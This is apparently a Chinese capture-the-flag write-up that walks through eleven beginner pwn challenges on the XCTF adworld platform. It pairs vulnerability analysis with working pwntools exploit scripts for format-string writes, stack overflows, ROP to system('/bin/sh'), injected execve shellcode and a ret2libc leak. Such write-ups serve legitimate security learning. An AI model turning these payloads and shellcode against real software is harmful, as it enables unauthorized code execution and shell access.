咕咕咕,咕咕咕咕咕咕,咕咕咕咕咕咕。
咕咕咕咕咕咕咕咕咕,咕咕咕咕咕,咕咕咕咕。
咕咕,咕咕咕咕咕咕咕咕咕咕咕,咕咕咕咕咕咕咕咕咕咕咕咕咕咕咕咕。
所需工具:
Pwndocker 老 (I) 女 (D) 人 (A)
题目地址:
https://adworld.xctf.org.cn/task/task_list?type=pwn&number=2&grade=0&page=1
get_shell
运行就能拿到 shell 呢,真的
我信了
IDA 一看,简单粗暴。直接用 nc 连上服务器即可,一道让人掌握如何使用 nc 的题目?
nc serverip port
cat flag
CGfsb
菜鸡面对着 pringf 发愁,他不知道 prinf 除了输出还有什么作用
先看保护状态
[*] '/ctf/work/adworld/CGfsb/4a0c08abff9d43ba8b65718a0edc7cc2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
32 位程序,没有开 PIE 地址随机化。
使用 IDA 粗略查看代码逻辑
发现程序里面有 cat flag
的操作,我们只需要运行到这个位置即可,但是在程序运行的上下文都没有对 pwnme 修改赋值的地方
但是,看到上面有一条 printf(&s)
的语句,可以知道这里应该需要用到 格式化字符漏洞
存在这个格式化字符漏洞的情况下,我们可以实现 任意地址读 以及 任意地址写
详细的介绍可以参考:[原创]格式化字符串漏洞简介-『Pwn』-看雪安全论坛
这里快速摘抄经典表格,参考实际用法使用即可。
32位
读
'%{}$x'.format(index) // 读4个字节
'%{}$p'.format(index) // 同上面
'${}$s'.format(index)
写
'%{}$n'.format(index) // 解引用,写入四个字节
'%{}$hn'.format(index) // 解引用,写入两个字节
'%{}$hhn'.format(index) // 解引用,写入一个字节
'%{}$lln'.format(index) // 解引用,写入八个字节
64位
读
'%{}$x'.format(index, num) // 读4个字节
'%{}$lx'.format(index, num) // 读8个字节
'%{}$p'.format(index) // 读8个字节
'${}$s'.format(index)
写
'%{}$n'.format(index) // 解引用,写入四个字节
'%{}$hn'.format(index) // 解引用,写入两个字节
'%{}$hhn'.format(index) // 解引用,写入一个字节
'%{}$lln'.format(index) // 解引用,写入八个字节
%1$lx: RSI
%2$lx: RDX
%3$lx: RCX
%4$lx: R8
%5$lx: R9
%6$lx: 栈上的第一个QWORD
言归正传,那么首先我们需要知道输入的偏移量。
通过输入 aaaa-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x
,aaaa
是我们输入的一般字符,%x
的意思是输出该位置的十六进制数
根据程序输出,我们可以知道偏移量为 10 的地址上存储了我们所输入的信息,将来就把内存地址放在这个位置即可。
接下来我们来找 pwnme 在内存中的位置,由于没有开启 PIE ,因此内存地址不会变化的,在 IDA 中双击 pwnme
这个变量即可。
可以知道 pwnme 在内存中的地址为 0x0804A068
因此,我们可以构造出我们这次格式化漏洞的攻击代码:p32(0x0804A068) + aaaa%10$n
这样我们就把 0x0804A068 设置成了 8
那么,为什么是 8 呢?
程序会将 %10$n
之前字符的个数写入到指定内存中,因此前面我们构造八个字符即可。
这里除了 p32(0x0804A068) + aaaa%10$n
这种形式我们也可以使用 p32(0x0804A068) + '%4c%10$n
能同样的达到效果
#!/usr/bin/env python
from pwn import *
proc = './4a0c08abff9d43ba8b65718a0edc7cc2'
context.binary = proc
context.log_level = 'debug'
if args.R:
p = remote('111.198.29.45', 38981)
else:
p = process(proc)
pwnme = 0x0804A068
p.sendlineafter(':', 'imlonghao')
p.sendlineafter(':', p32(pwnme) + '%4c%10$n')
p.interactive()
when_did_you_born
只要知道你的年龄就能获得 flag,但菜鸡发现无论如何输入都不正确,怎么办
[*] '/ctf/work/adworld/when_did_you_born5/002de4a1cad84b0b8988bc3c42e1f007'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
拿到题目先看 checksec,开了 Canary,也开了 NX,问题不大。接下来看一下程序逻辑
可以在程序中看到 gets(&v4)
,这就是本题的漏洞点了,gets
没有指定接受多少位,因此这里可以实现溢出。
接着我们来看 v4 和 v5 这两个变量在堆栈中的位置和长度
可以知道 v4 的长度为 8 ,并且在内存中的地址比 v5 的高,堆从高地址向低地址生长,因此可以通过 v4 覆盖到 v5。
程序没有修改 return addr 因此不会触发 Canary 保护;程序内部本身就有 cat flag
的语句,因此开了 NX 也不会造成影响。
#!/usr/bin/env python
from pwn import *
proc = './002de4a1cad84b0b8988bc3c42e1f007'
context.binary = proc
context.log_level = 'debug'
if args.R:
p = remote('111.198.29.45', 59375)
else:
p = process(proc)
p.sendlineafter('?', '2333')
p.sendlineafter('?', 'a' * 8 + p32(1926))
p.interactive()
hello_pwn
pwn!,segment fault!菜鸡陷入了深思
[*] '/ctf/work/adworld/hello_pwn/d50dee8a01694e9fbfe58ddcba84956a'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
保护只开了 NX ,其他啥都没开。
看了看程序的主要逻辑,首先读取 0x10 个字节放到 unk_601068
的位置上,接着判断 dword_60106C
是否等于 1853186401
,如果等于,则我们可以拿到 flag
接着看 unk_601068
和 dword_60106C
的位置和大小,unk_601068
只有 4 位,我们可以通过溢出覆盖下面的 dword_60106C
,这样我们就能使程序逻辑运行到 getflag 的函数了。
#!/usr/bin/env python
from pwn import *
proc = './d50dee8a01694e9fbfe58ddcba84956a'
context.binary = proc
context.log_level = 'debug'
if args.R:
p = remote('111.198.29.45', 39742)
else:
p = process(proc)
p.sendlineafter('bof', '2333' + p32(1853186401))
p.interactive()
level0
菜鸡了解了什么是溢出,他相信自己能得到 shell
[*] '/ctf/work/adworld/level0/ea3758e885904101913f7be6fff1bb2d'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
和上一题一样只开了 NX,其他保护都没开
程序的漏洞点是 vulnerable_function
函数,读取了 0x200 字节,但是 buf 只有 0x80 的位置,加上没有 Canary 保护,我们可以通过溢出修改程序的返回地址。
程序自带了 system("/bin/sh")
函数,我们只需要将返回地址修改到这里即可,这里的地址是 0x400596
接下来我们确定长度,看一下布局
因此长度确定为 0x80+0x8=136
,然后传返回地址即可。
除了上面的方法,我们还可以利用 cyclic 和 gdb 来进行调试。
首先通过 cyclic 300
生成一长串字符,用户确定溢出位置;接着通过 gdb -q program_name
启动 gdb,随后使用 run 启动程序
接着将那一长串字符复制粘贴到程序中,回车
程序会崩溃,gdb 会返回当前的寄存器信息
看到 RSP 是 jaab
,通过 cyclic -l jaab
确定长度是 136,和上面的是一样的。
栈的结构大致如图
#!/usr/bin/env python
from pwn import *
proc = './ea3758e885904101913f7be6fff1bb2d'
context.binary = proc
context.log_level = 'debug'
if args.R:
p = remote('111.198.29.45', 40355)
else:
p = process(proc)
callsystem = 0x400596
p.sendlineafter('World', 'a' * 136 + p64(callsystem))
p.interactive()
level2
菜鸡请教大神如何获得 flag,大神告诉他‘使用
面向返回的编程
(ROP)就可以了’
[*] '/ctf/work/adworld/level2/1eeba7bd29854274886837bead29fa75'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
这题和上一题解题的思路基本一致,区别就是没有了自带的 getshell 函数,另外变成了 32 位的程序。
漏洞点基本上一致,就是栈溢出。
现在的问题就是,我们需要自己构建通过 system 函数来运行 /bin/sh
看到上面的漏洞函数,使用了 system 函数,这对我们构建来说就更简单了,加上没有 PIE,只需要找到 system 的地址即可直接使用
双击 IDA 中的 _system 函数,即可知道他的地址
即知道了 system 的地址为 0x8048320
接下来看程序里面有没有自带的 /bin/sh
字符串,没有的话我们就需要自己传进去程序了,IDA 中通过 Ctrl+F12
可以查看所有的字符串
十分幸运的是,程序里面有 /bin/sh
字符串。
/bin/sh
的地址是 0x804A024
,这样两个条件我们都有了,就可以构造攻击字符串了
首先确认输入多少才能溢出到返回函数
即需要 0x88+0x4=140
个字符才能覆盖到返回函数
栈大致如上图,return_addr
为当前函数的返回地址,return_addr2
为运行完返回函数后的返回地址,args
为 return_addr
函数需要的参数。
在本题的话,return_addr
为 0x8048320
,return_addr2
随便填写就好了,args
为 /bin/sh
所在的地址即 0x804A024
最终栈如上图所示,代码如下
#!/usr/bin/env python
from pwn import *
proc = './1eeba7bd29854274886837bead29fa75'
context.binary = proc
context.log_level = 'debug'
if args.R:
p = remote('111.198.29.45', 56526)
else:
p = process(proc)
system = 0x8048320
binsh = 0x804A024
p.sendlineafter(':', 'a' * 140 + p32(system) + p32(0) + p32(binsh))
p.interactive()
string
菜鸡遇到了 Dragon,有一位巫师可以帮助他逃离危险,但似乎需要一些要求
[*] '/ctf/work/adworld/string/79fce6e54bca4825bb65611b55b294a1'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
这题就有点不同了,除了 PIE 没开其他保护都开了,另外本题的没用的字也太多了…
通过 IDA 每个函数都看一看,不难发现在 sub_400BB9
函数中存在格式化字符漏洞
另外在 sub_400CA6
函数中,直接将我们的输入运行了
但是,这里就有一个问题了,在这个函数中需要 *a1 == a1[1]
才会执行我们的 shellcode,那么,我们先来搞清楚这个 a1 是什么吧。
相信通过上面的图,a1 是上面的这个问题就已经很清晰了。
在 main 函数里面定义了,*a1 就是 68,a1[1] 就是 85,那么这里就可以通过格式化字符漏洞来解题了,修改其中一个值使其与另外一个值相等即可。
利用格式化字符漏洞的话,我们有两种可行的方法,一种是将目标地址放在上图中的 &v2
,另外一种是直接放入 &format
中
放在 &v2
的话偏移值就是 7,放在 &format
的话偏移值就是 8
偏移值确定好了,那么地址是什么呢?
其实根据 IDA 的 main 函数就能看出来,程序一开始为了降低难度就已经输出了相关的地址,本文中选用 secret[0]
即 *a1
以及 &format
的偏移来解题
即我们需要在 Give me an address
中输入 secret[0]
的值,在 Your wish is
中输入 '%85c%7$n
来实现任意地址写的操作。
接下来问题基本上就解决了,最后他需要运行一个 shellcode ,我们可以在网上随便找一个 64 位的执行 /bin/sh 的 shellcode 即可
#!/usr/bin/env python
from pwn import *
proc = './79fce6e54bca4825bb65611b55b294a1'
context.binary = proc
context.log_level = 'debug'
if args.R:
p = remote('111.198.29.45', 55672)
else:
p = process(proc)
shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
p.recvuntil('secret[0] is ')
address = int('0x' + p.recvuntil('\n').strip(), 16)
p.sendlineafter('name be:', 'imlonghao')
p.sendlineafter('So, where you will go?east or up?:', 'east')
p.sendlineafter('go into there(1), or leave(0)?:', '1')
p.sendlineafter('Give me an address', str(address))
p.sendlineafter('And, you wish is:', '%85c%7$n')
p.sendlineafter('Wizard: I will help you! USE YOU SPELL', shellcode)
p.interactive()
guess_num
菜鸡在玩一个猜数字的游戏,但他无论如何都银不了,你能帮助他么
(出题人出题也要夹私货)
[*] '/ctf/work/adworld/guess_num/8148f1ab15f24bacbe1b16e8de24df17'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保护全开的题目
通过 main 函数可以看到有两个问题,一个是使用了 gets
存在栈溢出,另一个是使用了 srand
初始化随机数种子
srand
进行初始化的时候,是通过 sub_BB0
函数初始化的,而该函数使用了 /dev/urandom
来取得随机数的。
那么,我们能不能通过 gets
的溢出固定这个随机数呢?答案是可以的。
当 gets
超过 0x20 字符时就会溢出开始覆盖 seed 的值,我们可以通过栈溢出固定下来随机数的种子数。
本题本质时一个猜数字的游戏,连续猜中 10 次就能得到 flag 了。我们可以通过写一个简单的 C 程序来提前取得要猜的数字,固定随机数的种子数为 0
void main() {
int i;
srand(0);
for (i = 0; i <= 9; ++i) {
printf("%d", rand()%6+1);
}
}
编译运行,可以知道这 10 个要猜的数字分别是:2 5 4 2 6 2 5 1 4 2
#!/usr/bin/env python
from pwn import *
proc = './8148f1ab15f24bacbe1b16e8de24df17'
context.binary = proc
context.log_level = 'debug'
if args.R:
p = remote('111.198.29.45', 57416)
else:
p = process(proc)
p.sendlineafter(':', 'a'*0x20 + p64(0))
p.sendlineafter(':', '2')
p.sendlineafter(':', '5')
p.sendlineafter(':', '4')
p.sendlineafter(':', '2')
p.sendlineafter(':', '6')
p.sendlineafter(':', '2')
p.sendlineafter(':', '5')
p.sendlineafter(':', '1')
p.sendlineafter(':', '4')
p.sendlineafter(':', '2')
p.interactive()
int_overflow
菜鸡感觉这题似乎没有办法溢出,真的么?
[*] '/ctf/work/adworld/int_overflow/532be1161263482890e88772bcde6470'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
逐个函数检查一下看看有没有问题
login 函数没有问题,read 进来的值小于申请的值。
看到 check_passwd 的时候就发现问题了,其中使用了 strcpy 函数,将 s 复制到 dest,而 dest 的大小只有 11
而表示 s 长度的 v3 变量,类型是一个 int8,而 int8 的大小范围是 -128~127,也就是说,我们可以通过上溢 v3 绕过长度限制,从而通过 strcpy 来栈溢出覆盖返回地址实现攻击
v3 要求在 [4, 8] 之间,通过上溢的话 127+128+4=259
以及 127+128+8=263
,我们需要构建 payload 的长度在这个范围 [259, 263] 内即可通过长度校验
函数中有现成的后门,直接将返回地址设置成这个函数的即可,这里的地址是 0x0804868B
接下来确定输出多少位能覆盖到返回地址
根据上图可以知道,是 0x14+0x4=0x18
最终,我们能够写出以下脚本实现攻击,我使用了 ljust
来凑够 259 位的长度
#!/usr/bin/env python
from pwn import *
proc = './532be1161263482890e88772bcde6470'
context.binary = proc
context.log_level = 'debug'
if args.R:
p = remote('111.198.29.45', 39249)
else:
p = process(proc)
p.sendlineafter(':', '1')
p.sendlineafter(':', 'imlonghao')
p.sendlineafter(':', ('a'*0x18 + p32(0x0804868B)).ljust(259))
p.interactive()
cgpwn2
菜鸡认为自己需要一个字符串
[*] '/ctf/work/adworld/cgpwn2/441cb6426ac744208071077728a09786'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
保护只开了 NX
通过 IDA 检查程序,程序使用了 gets 函数,存在栈溢出漏洞。
继续检查,可以发现程序使用了 system 函数,但是没有直接给我们 /bin/sh
这样的话,我的思路就是调用他的 system,再加上自己填进去的 /bin/sh 拿到 shell
首先确定 system 的地址,双击 pwn 函数中的 _system
可以知道 system 的地址是 0x8048420
然后,我们去哪里写 /bin/sh
呢?回到 hello 函数,发现在 gets 的上面通过 fgets 函数读取了我们的名字,并且保存在了 bss 段中
那么,我们在名字处填写 /bin/sh
的话,就保存在了 0x804A080
这个地址上,加上程序没有开 PIE 保护,一切就水到渠成了。
通过 gets(&s)
的栈溢出覆盖返回地址,手动调用 system 和传参。
根据 IDA 目测计算可以知道(也可以使用 cyclic + gdb 进行计算),传入 0x26+0x4=42
个字符刚好可以覆盖到返回地址上,构建这样的栈
#!/usr/bin/env python
from pwn import *
proc = './441cb6426ac744208071077728a09786'
context.binary = proc
context.log_level = 'debug'
if args.R:
p = remote('111.198.29.45', 33207)
else:
p = process(proc)
system = 0x8048420
binsh = 0x804A080
p.sendlineafter('please tell me your name', '/bin/sh')
p.sendlineafter('hello,you can leave some message here:', 'a' * 42 + p32(system) + p32(0) + p32(binsh))
p.interactive()
level3
libc!libc!这次没有 system,你能帮菜鸡解决这个难题么?
这次的题目不仅给出了二进制文件,还给了 libc.so,通常这种题目,就是要通过泄露相关函数的地址,计算出 libc 的基地址,再通过 libc 取得其他函数的地址来解题。
这里就需要知道 plt 和 got 这两个表了,这里简单带过一下,可以参考 彻底搞清楚 GOT 和 PLT - 简书。摘录一部分:
.got GOT(Global Offset Table)全局偏移表。这是「链接器」为「外部符号」填充的实际偏移表。
.plt PLT(Procedure Linkage Table)程序链接表。它有两个功能,要么在 .got.plt 节中拿到地址,并跳转。要么当 .got.plt 没有所需地址的时,触发「链接器」去找到所需地址
.got.plt 这个是 GOT 专门为 PLT 专门准备的节。说白了,.got.plt 中的值是 GOT 的一部分。它包含上述 PLT 表所需地址(已经找到的和需要去触发的)
在实际的题目当中,常用的手法就是调用 plt 表中的类似 puts / write 等函数,输出程序中对应函数在 got 表中的地址,从而通过计算可以得到其他库的函数在本程序中的地址。
[*] '/ctf/work/adworld/level3/level3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
保护只开了 NX,没有开其他保护。
在漏洞函数中可以看到这里存在一个栈溢出漏洞,那么常规的做法就是看看有没有后门函数可以跳过去,或者利用 system 函数拿到 shell。
但在这题中,即没有后门函数,又没有利用到 system 函数,我们不能直接拿其地址作为返回地址。
那么这时候,我们可以利用 write 函数输出 write 函数在 GOT 表中的地址,再利用 libc.so 中 write 函数和 system 函数的地址差值得到 system 函数的地址,是一个十分巧妙的方法。
首先我们先通过 libc.so 拿到相关的地址
如图所示,write 函数的地址为 0xd43c0
,system 函数的地址为 0x3a940
,在 pwntools 中其实可以通过 libc.symbols['write']
和 libc.symbols['system']
,并没有太大的必要来人工拿地址
接着,我们需要拿到 libc.so 中 /bin/sh
的地址
可知,/bin/sh
的地址在 1413163 的位置
如图,我们需要构造 0x88+4=140
的字符,然后就能覆盖到返回地址,那么,我们这里什么作为返回地址呢?
我们可以将 write 函数的地址作为返回地址,构造函数使其输出 write 函数在 GOT 表中的地址,接着将返回地址设置为程序头,重新运行一次程序,接着就可以构造 system("/bin/sh")
拿到 shell 了。
栈结构大致如上图所示,通过此步我们可以通过计算拿到 libc 中 system 和 /bin/sh 的地址,至于为什么要这样子构造,主要是由于 write 函数需要接收参数而定的
ssize_t write(int fd, const void *buf, size_t n)
我们相当于是令 fd = 1 / *buf = write_addr / n = 4
(如果是 64 位程序的话 n 为 8)然后执行了一次 write 函数,拿到了其地址。
在下一次程序的运行过程中,我们使用同样的栈溢出,即可拿到 shell
#!/usr/bin/env python
from pwn import *
from LibcSearcher import *
proc = './level3'
context.binary = proc
context.log_level = 'debug'
if args.R:
p = remote('111.198.29.45', 56376)
else:
p = process(proc)
libc = ELF('./libc_32.so.6')
elf = ELF(proc)
write_plt = elf.plt['write']
write_got = elf.got['write']
vuln_func = elf.symbols['vulnerable_function']
p.recvuntil(':')
p.sendline('a' * 140 + p32(write_plt) + p32(vuln_func) + p32(1) + p32(write_got) + p32(4))
p.recv() # 0a
write_addr = u32(p.recvuntil(':')[:4])
libc_base = write_addr - libc.symbols['write']
system = libc_base + libc.symbols['system']
binsh = libc_base + 0x15902b
p.sendline('a' * 140 + p32(system) + p32(0) + p32(binsh))
p.interactive()
写在最后
本人 pwn 新手,因此本文多多少少会有点问题,请师傅们指正。